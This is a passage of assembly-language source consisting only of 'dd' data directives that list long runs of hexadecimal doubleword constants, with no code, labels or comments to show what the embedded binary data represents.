0C6B5512h, 6DE6F405h dd 80588008h, 6C48D190h, 90C62F4Ch, 0F5203E14h, 50990811h dd 3C1913D4h, 1684D095h, 0E82B624h, 1C459E08h, 2DE00827h dd 4B9FA883h, 8F01B73h, 80064165h, 0E52D307Bh, 2C23F929h dd 0C03276A2h, 164214Bh, 1B7D0DC8h, 717663D2h, 1B7C33D0h dd 0C1791166h, 41AC1BE5h, 338108B4h, 4AA80C03h, 0E11FF3A7h dd 9473722Ah, 2D3032A2h, 8CDB1CAAh, 0C50900BFh, 0D38FAB54h dd 7569D117h, 0CA2E800h, 2B9FA1h, 8B5D0992h, 0AAED29D5h dd 48D040EFh, 0B800D04Dh, 0C66E2B37h, 762D99F5h, 4D70392h dd 0A6CEDA15h, 0E38F4006h, 0E858077Bh, 0F990FECh, 0BFE7206Dh dd 0A303871Bh, 0E0583C85h, 0ECA10BCh, 0BF5905C0h, 448C7119h dd 6D405689h, 991F1D73h, 8F4E8F78h, 13E47A8Ah, 86400462h dd 82F53274h, 0C3459A8h, 0AC5197A8h, 75F841C4h, 90EE0249h dd 0AB842CA8h, 0A704C0C4h, 0E1E4000Bh, 0C41B5DDBh, 30C0434Ch dd 0D68177FFh, 8FA83E41h, 0B803A4DDh, 718BD213h, 841A6001h dd 339FB099h, 172000CBh, 0B9CA3E22h, 9239DD1Bh, 0E8686029h dd 0A038BAEDh, 0FFA2B4h, 4C1F484h, 3278C316h, 0F2E5AA0Ch dd 1C1D2075h, 29467DD6h, 0FB7DE220h, 78FDE830h, 336D80BEh dd 60D6E226h, 1C18F774h, 0D0902600h, 0FA63D8Fh, 0EECCA881h dd 53150064h, 0FA3EC92Eh, 510EED07h, 64BD0EE2h, 0E0C09A28h dd 2A96493Dh, 18B07A62h, 2C77F238h, 370033A4h, 0E3C98360h dd 0F4AD8D94h, 0E27E0019h, 0A1EEB257h, 42060543h, 3CDF59B6h dd 63130040h, 845B5D1Bh, 4899812Ch, 88E7B500h, 1499B927h dd 0C8170FAAh, 76D09B01h, 3084B253h, 0CAC15DBCh, 2A028C15h dd 3A071430h, 80016BEh, 0A0D450C0h, 8F1FCBE9h, 18A491F5h dd 51DBD08h, 0C7293117h, 1E1B25F3h, 210493ACh, 0E8A08810h dd 0CCFD1AD2h, 80D070E3h dd 30B400E4h, 0A7091D9Bh, 54E41Fh, 7405928Bh, 18335CB6h dd 545D1C26h, 1600461Eh, 0E387A8A7h, 0B2AF8091h, 2196AB00h dd 6CFA384Ah, 3DDA0067h, 90865FD2h, 9EEAE09Dh, 9D48353Eh dd 0E81836A6h, 7BA82121h, 4388039Dh, 55ECF08Bh, 0E64AA1h dd 1DDE956Fh, 80586AC6h, 0E7F036B3h, 351D5F0Bh, 2830DCC2h dd 1A1FD32h, 0FAC36A9Dh, 8C0B52F9h, 205C3A08h, 0A1F40011h dd 8C1B39D2h, 0B6005EDEh, 3E206B83h, 5724E4h, 0D7EBDB4Ah dd 0D1FA5123h, 0AB18E6E2h, 3F89488Ah, 64390028h, 0D5862AB6h dd 99741ADEh, 9213760h, 683930h, 58E051BBh, 25136484h dd 0E6E960D8h, 912F60C2h, 85B996A3h, 0C84BB800h, 0BA6CEC3Ch dd 1F387619h, 292F77CDh, 1824D174h, 0BE7A00E5h, 0A05E812Fh dd 57186393h, 5CE0F86Ah, 248B3074h, 0CFD24398h, 0D1F9BE18h dd 179DD60h, 16632F88h, 987ADA28h, 0FD21D309h, 0D2880361h dd 0CCE17B4Fh, 63270EB0h, 39D6A31Bh, 2F601051h, 9260053Bh dd 50C0CB50h, 76C280h, 0DC1235FAh, 0F9797A0Ah, 801EED3Dh dd 5C47E831h, 113C1E5h, 838C755Fh, 0D153C2B7h, 2AB1E0CCh dd 0D1BFC300h, 5623AB12h, 0D96B010Ch, 744CB8F0h, 8093ED01h dd 0CE4EF618h, 0F8C279DEh, 100A636Ch, 0F0C04D83h, 0D66FFB18h dd 0FED12328h, 296100A4h, 0A6E0DC1Fh, 0F8E77C89h, 2C1E7FBEh dd 0A1C33356h, 0C8D65381h, 0E6C33875h, 0CE25315Ch, 17786E28h dd 0F70FE20h, 0EC7F13B8h, 0A35B0C80h, 1C0D3878h, 0D1CA4871h dd 0A0EB1C0Ch, 0C7EC3574h, 0FFE008C0h, 1F28E561h, 744C40DEh dd 0AC611321h, 380F1CC0h, 0B8DEB890h, 543E883Dh, 38ED1900h dd 16EAEF7Dh, 13C00CCBh, 8320CDABh, 0DC3C8C03h, 24CC40h dd 5F77E1A8h, 0D9BB0B2Ch, 0DAEB8A18h, 0F61C0B1h, 9F5B805h dd 0EEC0552Eh, 0E3B35433h, 51D5D431h, 88E73EBh, 31A30CCCh dd 70E0774Ch, 0B50149h, 0CB52EB11h, 943C007Bh, 0D1270C84h dd 78C0E0B1h, 0F9D60204h, 287A7120h, 33A09C12h, 0F6E9BD19h dd 41E62D91h, 0E8814D98h, 4B07ADA2h, 525D02B0h, 1465C910h dd 70081C1Ch, 34F8C95h, 114B979h, 10247278h, 0D800E5CCh dd 71EA1C6Eh, 0A6FCCBEBh, 0EC397728h, 4EAED501h, 4B89A210h dd 0A08B3DF0h, 24838AB0h, 40585D7Dh, 0EB0C34BCh, 0AF37D403h dd 335FDD71h, 9321A608h, 0AC910FFh, 0CFB069A7h, 7E244EECh dd 0D10D1851h, 0A8D828F6h, 0D57A032Eh, 2BFA0E16h, 0ACA9787Ch dd 0ABE1D06Eh, 0D6AC08A0h, 4A371200h, 439FB799h, 61F2B031h dd 0EE8F21B9h, 0BBF4C412h, 4F9CB406h, 0A070A4E6h, 80B54BA0h dd 0E018C325h, 63599C0Bh, 0FBB00005h, 5011070Ah, 8CD8F02h dd 7DC42179h, 0EB2C00B0h, 931F24A4h, 4548B862h, 0BAC21080h dd 0BB391473h, 645030BCh, 400FDC7h, 400C1B03h, 0EEDA0510h dd 0CB8D007Fh, 8AC63AACh, 3700EDB0h, 0D10F3F4Fh, 75680B9Fh dd 0AB630092h, 22F894BDh, 380033F3h, 0DE21E581h, 2982C7Dh dd 71E3274Dh, 96401D6Eh, 0DA004FF9h, 10B5C1D0h, 487CD4h dd 8BAFB72Eh, 0EF9B6F4Ch, 9007C613h, 5C381700h, 0FC20C58Dh dd 953C00D3h, 23F94E50h, 16058BD6h, 8C64F690h, 0B1CB8100h dd 18AF79h, 17C67F1Bh, 8BD16FB7h, 45167C06h, 2061B2h, 51352EBCh dd 506224C5h, 9C591A05h, 7CC07530h, 7C7A7D04h, 734A7815h dd 16AF00BFh, 0CC17DDC6h, 68061C54h, 8CF87F7Eh, 0D0D100B0h dd 5E895CDFh, 0CB07C4C7h, 9F4A6C12h, 8014CC9Eh, 54901C4Ch dd 800A00Bh, 0E758694Bh, 6C3147Ch, 68923391h, 520F7883h dd 0E0C0482Ch, 511F9BFAh, 0CE6B031Ch, 0AABE18D1h, 0A29447EDh dd 406346FEh, 696D9530h, 1C4E65F7h, 0C1995403h, 5ACDA30h dd 1960C4B6h, 96008CFAh, 0DBF8EC2Eh, 3C66A773h, 0F1806739h dd 114B2116h, 0EE07D787h, 9DE315C1h, 273D1B80h, 80D3008Fh dd 0D93A95D6h, 8C79AB32h, 33C43000h, 98533E1Fh, 0DB133C47h dd 6FD6100h, 0E05B3816h, 0F3C00C0Eh, 1CCA86E7h, 0A57A0020h dd 543DB807h, 0C400B7EAh, 0BB2EEC92h, 0FB1C19B1h, 0B2338080h dd 41306BB0h, 738E1304h, 990EEFF1h, 5CE0489Bh, 93005B29h dd 0C03C098Bh, 50466Fh, 0B982FA5Ah, 776937B2h, 0E4505D60h dd 0C1C6A298h, 0E8C49538h, 7AC1BC99h, 754DBB2Ch, 0BE2C5801h dd 89880BFh, 52F469E0h, 497E4D07h, 0ED809311h, 30ECB4C1h dd 4CB8ABD5h, 0AF0372A2h, 0B1B554A3h, 448DE16Fh, 50EE8850h dd 0B99E0A0Eh, 0D1C4CDh, 96304DDAh, 60C1C714h, 86E5FB13h dd 65E4868Fh, 8CC45C6h, 0F9809255h, 0CD06C8FDh, 7BB8D200h dd 32D05019h, 3B41F45Ch, 28642CA4h, 717DC0DBh, 2D03B7BBh dd 58EC7D3h, 28A3D0h, 718AF821h, 0FAF37719h, 0E8ABB600h dd 0E23A963Fh, 8E950317h, 0C418E9D0h, 818CE900h, 2CAB6EEAh dd 3EC0A0F9h, 77C9EE37h, 0F86F06AAh, 0A9EF17ADh, 6E21A007h dd 0CAB74E2Eh, 0B6C436A0h, 11BF06AEh, 0F1CD178Bh, 0D149400h dd 3B70753Dh, 0D6B0006Dh, 4ABDB11Bh, 4760CCA2h, 0C78BDB29h dd 1CD3C7Eh, 74238315h, 5C718206h, 7489E0B7h, 91F31026h dd 51460071h, 335D28A2h, 6F069421h, 0C5B4B38Eh, 1EF03061h dd 0D2B00778h, 97BDBE0Eh, 0F8426B3h, 30AD1520h, 1280D48Bh dd 1C4CFC86h, 391458Ch, 9CBB8696h, 0AA1796A0h, 0E73319C0h dd 0E09B14Ah, 57503BB6h, 0A8165DC0h, 0B9058325h, 8FC4D3EDh dd 9BFEB04Ah, 0B22DEC0Eh, 0C313002h, 0F4B717h, 981B90A1h dd 0B004C9AAh, 0CF741948h, 808C8880h, 0BC4E6835h, 86E84070h dd 0CC464DA6h, 9B019C22h, 0AA1586E0h, 0C7E116D8h, 0C4CB7CD4h dd 90EE98B8h, 7A056698h, 4B403B00h, 9A898243h, 0B87C31h dd 582CFA22h, 88514745h, 0B2B58606h, 0A0614CB3h, 80CA7C34h dd 310C4A3Ch, 0A832D7E0h, 11048C8Ah, 44CFF86h, 82209062h dd 0A3A86E9h, 0E2DCCB6Fh, 1D0284ACh, 3C9C822Ch, 2C85A492h dd 8DAC60A2h, 0B723B971h, 0E11111Dh, 877194FAh, 5200537Ah dd 0C92C8EBh, 1EA3856Eh, 58C90A8h, 4DB986E7h, 84A838F4h dd 386FF00h, 72E6BFA7h, 5968066Fh, 0A846F54Bh, 5006A529h dd 0A9182659h, 10DFF3Fh, 7B5ECE8Bh, 0A440257Dh, 2A997369h dd 14B093A4h, 88CAE5F3h, 61C61D03h, 0FA915CC5h, 0E93C20F9h dd 994FEA00h, 1139B531h, 79470076h, 8A70F7BEh, 2D30023Dh dd 0A36940EEh, 58B960D5h, 97470D5Eh, 67C04500h, 0C4A881B5h dd 2CB89BE5h, 0B78C0448h, 2EB8CE70h, 0E602C0F1h, 0C45418D7h dd 7C3E2448h, 0FF467458h, 0EEDE6C03h, 0DFB8F056h, 79134B80h dd 7006475Bh, 54863F8Ah, 0F85A038h, 0F29534DFh, 5D1D1A22h dd 97BFC482h, 0D500E864h, 0AEECED0Eh, 314D452Ch, 98D8ADCDh dd 5BC19EE3h, 3FF7F640h, 38676F2Ch, 0C23F01A7h, 9545BC87h dd 0E104C0C5h, 0DD00F1EBh, 5DE848C1h, 637D6241h, 97457051h dd 52330FC0h, 0DA16C101h, 53A547ECh, 40FA9860h, 4500A693h dd 4D3AD39Fh, 78EB2129h, 98C35078h, 353F2A20h, 31B60DB8h dd 0F81860ACh, 57F2CB38h, 0F4E23D2Ah, 9144921Ch, 8200C85Dh dd 0E751D8A4h, 5D620C38h, 7A90D73Fh, 8A19A060h, 0D67C0Eh dd 0BC081DC0h, 0BBAB1CA2h, 6F0C959h, 539DB238h, 2C2D18C8h dd 0DADC18BAh, 25EB9F00h, 2CF1AA1h, 0CD93BC3h, 0E128E980h dd 73164029h, 60503160h, 9970D2h, 0D36A1A8Fh, 79043498h dd 80AB873Bh, 35276D2Bh, 18BEC1A6h, 189BB742h, 200748CBh dd 0A151CACCh dd 187DB4C2h, 5044CF54h, 0EBE086B9h, 0C5518A1h, 0CE9518Ch dd 5E012ED2h, 0F0523465h, 0C2030DCh, 4870CA6h, 66A0C892h dd 4D039978h, 52C9B550h, 162003DCh, 0EA0220A5h, 0C5E5022h dd 0C98BFF06h, 9B033B39h, 6EB41BAEh, 5318C1B7h, 19B52BE0h dd 70242098h, 21C6118Dh, 0A0B002E0h, 223E8208h, 2E00A801h dd 0AA5A371Eh, 0D4BED58h, 9A90721Ah, 0C83EDC79h, 0E4E05C6Eh dd 0A0018034h, 0E01F9CE0h, 5D600490h, 84F55099h, 2B59DEDDh dd 0FE05F504h, 0F0074207h, 5C00E833h, 3B04A1h, 117206FAh dd 0C9EB881Dh, 1D33FE38h, 0A0CB4A2h, 840F292Dh, 229D9622h dd 6E22014Fh, 1173422Ah, 6B219F40h, 9010B508h, 765384E7h dd 1111C74Eh, 887D1283h, 6A3D441Ah, 696F926Bh, 67C0EB1Ch dd 901D7368h, 2A77006Ch, 44E86D64h, 62000743h, 61725480h dd 0DF7A5187h, 88803A09h, 0A0F373E6h, 5CFA69EFh, 2EF73400h dd 86595A3h, 8C6E0760h, 0B0D69D29h, 0EA1583C5h, 8257E900h dd 0FACF9C19h, 72BE00F0h, 5B7CA01Eh, 740330F4h, 0B2925DFh dd 489D8279h, 7BD43A4h, 4C2DFC0Dh, 626E4084h, 1039877h dd 807C1044h, 0E123B85Fh, 4AB30021h, 95BB268Ah, 3D00437Eh dd 1BB03509h, 2AB0A30h, 47FE7C9Dh, 0BC48BCA8h, 0B10086DAh dd 0CE972751h, 0FA13575Ah, 4D930020h, 0F8533707h, 0DF00C99Ah dd 6E679515h, 0B97DFFh, 8B43C590h, 11713584h, 8800D0FAh dd 0D316C70Dh, 0B81A3Fh, 985E70FCh, 2717C5D7h, 5CE2613Dh dd 0CB060056h, 3C6A2473h, 0A9B600C8h, 588527F2h, 67000188h dd 795F8BB7h, 8E498Fh, 0D5E2A852h, 46FBEC86h, 57D0CB00h dd 5B8F9070h, 2A790782h, 7296D40h, 6537908Eh, 300CE67h dd 7B59634Dh, 0C197C6h, 0D4A7FE23h, 9C719BF1h, 8A8C8000h dd 22E9BFA0h, 8E7154h, 0DF25B683h, 0D0C5C2CDh, 29D2F600h dd 2BBF317h, 7FFD004Dh, 1585698Bh, 0B6F88A2Ch, 18F77600h dd 0C90ED245h, 947301E2h, 0E12255E3h, 0FC31A5h, 4D96DE4h dd 0C067F300h, 0C266F619h, 64CC001Fh, 58E803C6h, 0CD001ECFh dd 49B1DBF3h, 3BD098Bh, 0B0CC8844h, 87C892Ch, 0AFE18300h dd 0BDAADAB8h, 5CE0031h, 0E911749Dh, 9A702807h, 561E4D00h dd 0A18E8648h, 0F9CD0F9Fh, 0EE40B8E0h, 0C43645Ch, 0F812D100h dd 18165751h, 8D6714B7h, 8E00E46Bh, 0C3754F9Ah, 7007B79h dd 0C598154Dh, 2470392Fh, 7048BC18h, 89249A60h, 5B013272h dd 4AED54A5h, 0F375024h, 1FA7E59h, 0E5EFECA0h, 120C9769h dd 302CCC50h, 57D71D52h, 0A92002Dh, 0F2E80F79h, 9629700h dd 213BE780h, 44864C85h, 289AC200h, 766B2CBDh, 188F4B00h dd 0BE366AA7h, 0EB2B38E9h, 676EDC00h, 39D33BE0h, 594BA00h dd 5D5BAD58h, 92CC0064h, 97894210h, 0DC0995E7h, 80C565B3h dd 6E7FB541h, 400700E4h, 0D6E253AEh, 0BA01717Bh, 0AB560672h dd 0D3E80Bh, 49F40548h, 0C62BDB4Dh, 8093D93Dh, 8D6DA6A5h dd 576EB7Ch, 4050B383h, 0BDBC090Bh, 8E6B0C81h, 659C400Eh dd 1D006DA9h, 0C7273ACBh, 0E31E86h, 0F0F49DC0h, 19774123h dd 1638240Eh, 0E7D5E057h, 71565A35h, 20EA0330h, 7492DF84h dd 0DE887093h, 310727F4h, 0E2363BFBh, 1753C2FFh, 0DBDC009Bh dd 0FE1CEAE5h, 0DF40E9EEh, 0F5EFE7E8h, 0E313009Ch, 0ECE4A989h dd 0C23BC46Ah, 0DA3E7086h, 0D3078DF9h, 3CF00981h, 0FC770409h dd 0C1EA2175h, 0E4B5DC80h, 1F09C31Dh, 38B17D18h, 98E858h dd 8BF92238h, 2DB3789Dh, 7B00137Bh, 0D0EC16DFh, 0C2FF52h dd 214BC4FEh, 4F442E7Eh, 0DF51F200h, 0D1A1F47Bh, 858A01A8h dd 3EFC2CF0h, 0CA5D8D6h, 0C3EC6904h, 2483B6DFh, 6455F08Fh dd 990400BFh, 5A12AD10h, 4490681Ch, 33D4721Ch, 9CF17087h dd 0C8A246D2h, 28222770h, 48949F3Fh, 738309Dh, 1DC54785h dd 0BFC0059h, 587B99F7h, 0D3ECFF70h, 8E7E360Ch, 1CE1E86Ch dd 0C04B1DDEh, 9ECF9D56h, 0DC00E8CDh, 0A5ED6FA6h, 38220F4h dd 776A30Ch, 0BBA0705Eh, 0D4FE3129h, 0B201E204h, 60801C96h dd 974FEh, 4DA51A25h, 0F99FFA2h, 9F5DE501h, 6A26D834h dd 0ACD49F40h, 5AE0050Dh, 40C09286h, 962B99B0h, 740080EFh dd 76844A9Dh, 1A2D16ABh, 39B887C3h, 3E7E6980h, 0E900C6B6h dd 1526A1EBh, 1DCE42h, 0CAE8F55Bh, 3AB68618h, 19173400h dd 0FF08EC11h, 1DD30614h, 216C6106h, 6095C800h, 0B9D65738h dd 6F7E00A9h, 0CBE50613h, 27034D2Eh, 0BA185C76h, 0C25E90D5h dd 0AB3600B8h, 0AA61E1F9h, 191639A5h, 2800B087h, 0E83CA7CDh dd 46E50010h, 0BC5E8258h, 1B072CDFh, 36148517h, 0BFB3AFh dd 1A165138h, 86003D31h, 0C4D7C299h, 0E7E145h, 0D45D5C3Fh dd 895029F4h, 5F00CAFAh, 2836F1E4h, 3AFDF762h, 0F200083Bh dd 650E350Bh, 0D9F89923h, 51EC4D00h, 0CC0D2695h, 53830089h dd 0D1C3A04Eh, 0AA3F3C59h, 0D2F87827h, 0A46B3300h, 0DCCAD556h dd 12DA0F9Dh, 584917FDh, 0A39B3900h, 0DF003250h, 0D6016E3Ch dd 0BA57AAh, 0A0DCACE4h, 4D20064Eh, 0FCD4F604h, 2CC7E8B2h dd 6BF435F1h, 9DA7AECh, 1DE03816h, 0E7F79400h, 180191B4h dd 0A8ACC0EFh, 2FC0A44Ah, 98300A7h, 0B4B22588h, 6D0918E5h dd 1F5EB9h, 0B8AE3737h, 20C5009Eh, 7B3FD241h, 5501AD02h dd 79804F16h, 9C8E14Dh, 44E3016Dh, 0F71271DBh, 0A50C209Eh dd 0B3499490h, 52E500E8h, 54FAE663h, 0F8E40E01h, 0EC600550h dd 0C1FB7E57h, 5CAA4800h, 9B45D69h, 0A83B1B1Ch, 11E00971h dd 20481535h, 592600F4h, 655451F0h, 99D4F39Bh, 0C822133Dh dd 5614005Eh, 30AA2777h, 0CB680C00h, 75382E3Ch, 0BEF30034h dd 0C840C499h, 0CF38C5B2h, 0D82480BDh, 300742CBh, 0A1AB0080h dd 9B0D5904h, 0C005E0Fh, 2A4C019Ah, 3B400598h, 43009C16h dd 0F607F727h, 8D01CFEDh, 0A0CC08F0h, 9801624h, 93A447EFh dd 0E001EF4h, 0D9CE30D8h, 10B1D0h, 0BDE13DD7h, 2655537Fh dd 0B84F640Eh, 0A713E01Dh, 1305094Bh, 0F4A6C95h, 0F4A01924h dd 3FAFB8CAh, 0A677ED01h, 475B6A3Ch, 9CE6E680h, 338DD387h dd 0EE840150h, 0F25A1B02h, 0C0032BC3h, 24238F1Ch, 0F645E7h dd 0BEB74839h, 0F0001F93h, 96CA514Eh, 0E6206529h, 0DF6E1F4Ah dd 0CE5E0056h, 225BF77Ah, 746F800h, 0EB8CA3C1h, 2A1E26BCh dd 62003A20h, 3E505AFCh, 101DE9DEh, 7D7C79EEh, 0CF596C00h dd 826FA2BCh, 6E7B2E58h, 90C8000Fh, 95D50276h, 63F2AD00h dd 0CA4E332h, 90BE7442h, 0D57001Ch, 269907E7h, 9E045CE6h dd 8C1AE438h, 807E68C0h, 71D9004Bh, 0FB0E0D95h, 8185E1Dh dd 3C3A30D4h, 8DF31h, 42625165h, 25483802h, 0AFCD091Ch dd 0E504499h, 0BE3A167Fh, 0A583C0C0h, 52509EA4h, 0E800ADBCh dd 0AFCB9B66h, 0A9ABFFh, 5DD0592Eh, 94A7E6DEh, 8431700h dd 4F22C8B8h, 9EA20341h, 0CC8373FCh, 8558AF80h, 0EE01BD7Eh dd 0AE22BF4h, 0AEC87F61h, 7CEB00B6h, 117BBA4Ch, 7900C589h dd 40BC0C03h, 4944146h, 9E42E032h, 0E560819Ah, 7830308Ch dd 83FBD100h, 8BAD7044h, 60880073h, 0CD7279DAh, 67387E15h dd 295580B8h, 0D6A68FCCh, 779513EEh, 0E160514h, 0C7B000D0h dd 8A35D71Ch, 0CAD6F600h, 0C8D40BCEh, 473FCh, 0C91BF78Ch dd 3E1F05AFh, 89AD4814h, 76A006A1h, 0F8094D3Dh, 92810B55h dd 2E887275h, 0DFBE3FB0h, 7C00CA21h, 74C9FFB1h, 0ED402E1Ch dd 0B0531435h, 5C15F100h dd 0AB47E532h, 5BBDDC00h, 956ECB2Ah, 0A25D3BB2h, 0FFCA7301h dd 80A06F7Ch, 6D4267B8h, 3C7512h, 7B1BDDC8h, 2584C3E1h dd 94FB7800h, 0C0B7CF67h, 0C46509CCh, 0A78C707Fh, 9E00D670h dd 8A2BE46Ah, 74A179h, 282A962h, 6D8BE7B8h, 0BDD5C400h dd 851A1F3Fh, 84710073h, 44426001h, 0F448C9A4h, 8720001Ch dd 0B1EA5369h, 50F948F6h, 0A3DE7400h, 3F687E88h, 589D360Eh dd 538C001Dh, 2E43F7h, 0B3DC314Fh, 783B5989h, 65E00B1Ch dd 64440447h, 58A61662h, 0BD2900E0h, 6F2EE10Ch, 5C00451Ch dd 0F2729964h, 0F36DDC5Eh, 71F7470h, 11448E4Ch, 0F0FE6021h dd 0C60002A9h, 0D3CE8663h, 0EE224E20h, 0C3430057h, 528A2C78h dd 60BAA3FEh, 5CE7AF05h, 9CD0F20Ah, 0E82A25h, 0A1589299h dd 0E2DB7A30h, 0FC05EC4Bh, 0F3802FEBh, 664F97h, 0FE5C8A99h dd 1FB93BA0h, 95D5A00h, 0BF69C3C1h, 9707BDBh, 0A7D73037h dd 41BE04E3h, 2BF77200h, 0A3C9E4C6h, 0EBB9A004h, 3DF9E4E8h dd 1E8097C0h, 8D620AFFh, 249EB2A3h, 22F04400h, 5489DC1Fh dd 0B8A58072h, 249F0004h, 6B28FCF7h, 2A007970h, 5203A841h dd 949E93Bh, 90C39618h, 31360000h, 6D00B105h, 8BBB46CBh dd 3C17CC4Fh, 2804E38h, 0E168E473h, 271691BCh, 691FBDA1h dd 4029DC0Ch, 0A54B0648h, 7A94081Dh, 0AEB02C03h, 89C18820h dd 0E0504EA9h, 0E4DE3883h, 8E2E059Ah, 48A3600Bh, 0D38F7060h dd 925460A8h, 130917Eh, 0A4635FCFh, 683F8C9Fh, 15E43C2Ch dd 0D8DCC1h, 77FB6307h, 2D2F3FF3h, 340094C8h, 0B00C7A6Dh dd 1DC06000h, 0B6733449h, 0E298E0CDh, 0D75100D5h, 0EE84D903h dd 0D8001C2Dh, 0F1C63B1Eh, 4E3CBF4h, 36CE2ED1h, 1D7A4013h dd 1AF5C3h, 0D0A229F8h, 3C99A59Ch, 612B7F09h, 6FE0202Ah dd 42E4A9h, 705D5794h, 6C2B332Fh, 8600DDF2h, 47F6F048h dd 84BCE5h, 5ADA715Dh, 764EF4E4h, 32851503h, 0C08D277Dh dd 198EDA8h, 65C4B62Dh, 303C6E58h, 36004849h, 790EAD27h dd 2A63E759h, 0F4887BBDh, 0FAC400C5h, 6612AA4Dh, 0F003B649h dd 0B0EA22F7h, 6A90A05Ch, 0A9730588h, 40414514h, 105626BCh dd 87005169h, 0DE933F77h, 1FE72CF8h, 8384168Ah, 3EA16A26h dd 0F6014B98h, 965870F0h, 8680104h, 0E5E9AA7Eh, 1500A838h dd 26043B79h, 625B16EBh, 0CA838442h, 4F0848A4h, 0E5CD05FCh dd 803E1AD4h, 2B1137D0h, 94A4831Eh, 0C781C0E4h, 0EB106914h dd 18C91070h, 31046D05h, 0A84C5C81h, 8CD81E3Ch, 0E100F828h dd 0B138BF4Ah, 8932EDh, 0F248CA0Ah, 0C3F56F0Bh, 0BDFFC500h dd 0AE7219E4h, 0A8C9FE4Ah, 0B40C6DF0h, 0C899053Ch, 0A28C404Ch dd 336CBAFh, 64E6D500h, 0B3F3BAD2h, 0F9A009A1h, 448F4496h dd 5800F2EBh, 9B1D3CF0h, 18F4CF0Eh, 9C5839Ch, 8066C02Bh dd 173A005Fh, 9B90AA9Eh, 0E098D68Eh, 6A5EF300h, 7AD9FEE0h dd 1E851E67h, 0E38782B3h, 0A2E0F965h, 1500E22Eh, 0CDA0EFE6h dd 3839B617h, 602A129Dh, 0C49B3DFCh, 9CCFAC0Bh, 0E3007445h dd 594EE437h, 0A89840h, 0CD312C01h, 7CC5A2FAh, 5AD55B01h dd 0F9AAFE99h, 0F364C084h, 0CA26C071h, 1F00BBD6h, 60D1961Ch dd 7B5C7Ch, 33FD0467h, 458353F3h, 89888513h, 0C0E02CC2h dd 48826974h, 0C51E6A1Eh, 910BC0EFh, 98FCECF2h, 9FCED80Eh dd 7352E062h, 0A0B95B96h, 2396AA4h, 0E7DF8950h, 5840B525h dd 0BCA4E5CFh, 45133300h, 44680A4h, 4CA5006Fh, 0BC71778Ah dd 2F001B9Dh, 0DFEC24F8h, 0C7C83Fh, 0A9130E67h, 0E7FB61D0h dd 0EE543D0Eh, 8CE8028h, 4B24A1Ch, 655B15F7h, 16E4C36Bh dd 0BAE09F9Bh, 0D87FC727h, 9C302000h, 95F90576h, 2DFA1861h dd 0DF98E883h, 9A00F6F4h, 9BF5CD92h, 27EBFB9Ch, 88390F1h dd 5688E8EDh, 0FA00D6D8h, 0FDDE0CE0h, 6FD703CFh, 0F8830985h dd 71987B34h, 6900E22Dh, 0B3BE287Ah, 32BAD0Ch, 0AC33E1Bh dd 49B3CF7Dh, 2F027BB8h, 0C081931Dh, 6FE23140h, 1F1D855Bh dd 0A4C52274h, 297E0064h, 93B97846h, 52182000h, 68FA723Eh dd 51220415h, 90749497h, 0C09A7160h, 0D701E500h, 35FFE486h dd 0F84773Ch, 902CE257h, 50C4765h, 0C03EC5FCh, 0F7D18DDh dd 7F81F07h, 0E680F7DFh, 31BE36Fh, 978D8799h, 0B6B08676h dd 5800EC3Ch, 8E7D3848h, 1E64C7Fh, 35E70429h, 0D0D316FFh dd 6100EC0Eh, 42BC6333h, 1F9D8B69h, 0C0212D0Fh, 32C24FFDh dd 510FDB67h, 2079053Ah, 9341A577h, 9FA71E40h, 9E8980EBh dd 42CFE11Bh, 70B06303h, 0D5DA4115h, 5B3A9892h, 9CB3018Ch dd 34BA493Fh, 9009AB28h, 19E4B1Bh, 5636B10Fh, 0DFBF9050h dd 857332h, 0D4D00AC8h, 0FAE662FEh, 0E635204h, 58D0F98Ch dd 0FF3897h, 1296E9EEh, 187CE0E6h, 9FF88600h, 0F08B60Bh dd 41871F57h, 282067C9h, 0C69EC38h, 9A26AC00h, 0E1239BA4h dd 0EEC70018h, 61FB4C55h, 0C4390D81h, 0CEE00916h, 4B0E01CDh dd 1FEDFA67h, 3BECF8h, 0F903D061h, 70712034h, 0B652B00h dd 0B9BD23D7h, 0B51A00C7h, 0AD33AF61h, 0FE0E366Ch, 0C04ED83Ch dd 0A0CDF0Fh, 0DBCA00A2h, 82903F09h, 9400DA4Ch, 0EB275A84h dd 271EAB1h, 6486049Eh, 9CA0FD4Dh, 0D5679B01h, 0C563DE00h dd 1AB4A1A5h, 385DF8EAh, 50F9F428h, 12AFA44Bh, 99208680h dd 0ECA3C984h, 0FC009D3Fh, 7945478Eh, 2669C242h, 60E0BCh dd 0CCD74867h, 750A7384h, 0BC7DADA9h, 80AAF889h, 53A23660h dd 409103B2h, 8A3AAD78h, 957B38F8h, 85412D04h, 490E717h dd 21F789h, 60AFB1E9h, 0E21AEEA8h, 0B96D68C0h, 1DFCF5Bh dd 0DD8E19C0h, 0A431F910h, 0F101E064h, 0FD6F4151h, 4007C68h dd 0B56C038Dh, 0C0B261Ch, 0A27FC9B7h, 442E1440h, 405FC4h dd 0F61A078h, 592EDE4Dh, 0DC8018A1h, 7C85897Eh, 68A90088h dd 0A20811Fh, 0B0A8DF2Eh, 0BA257AE9h, 80D80094h, 0F6C9ED62h dd 2025616Ch, 0D855E34Ch, 0BE004D75h, 4EE6E72Fh, 4540A3h dd 2602A77Eh, 96D22D05h, 0C19E9900h, 9889B97Ah, 876A0034h dd 5CF06263h, 5EE6D639h, 0FFF3B83Dh, 0F7D07600h, 47162933h dd 5B7D0B97h, 1A820639h, 0AC0B1D8h, 2479E0BFh, 8EF2AD3Ch dd 0A5784Dh, 30FE25D4h, 2261006Fh, 0B0A397EDh, 0B200D6C7h dd 1B3E8D59h, 3F55A81h, 97610776h, 313C4655h, 0FC0681DBh dd 0D5E92035h, 59AF0E60h, 0C0474F3h, 0D792BEECh, 0F72540D4h dd 531391B5h, 4E0049F4h, 75C448D2h, 3AB90EEDh, 3F809C1Ah dd 0F7A45113h, 8308116Fh, 90C35412h, 8B73D3h, 99A92FDCh dd 48329868h, 3F09DF74h, 6880C025h, 503ED79Ch, 0F992C7h dd 1A6808CAh, 0E3A08746h, 0BA196D03h, 0BA0385AEh, 9994600Ah dd 6074025Ah, 0F2ACF830h, 2CCB1843h, 6823C92Eh, 8E566240h dd 99460040h, 0D30A7395h, 0F0009C12h, 0C3286AB2h, 2493DA6Ch dd 3E005E36h, 73AEB600h, 7BE6F77Ch, 7FEB0F0Fh, 1FC2E0B9h dd 0F08E5D0h, 0F9A7681Dh, 11CC40FFh, 594C3D4Fh, 311DF47Dh dd 330F3674h, 4DD80151h, 0BBFBD7A0h, 9A07E829h, 0C1200E44h dd 0A9C08A5Dh, 6CBE0C9Bh, 7B3CB100h, 5954F297h, 68B60086h dd 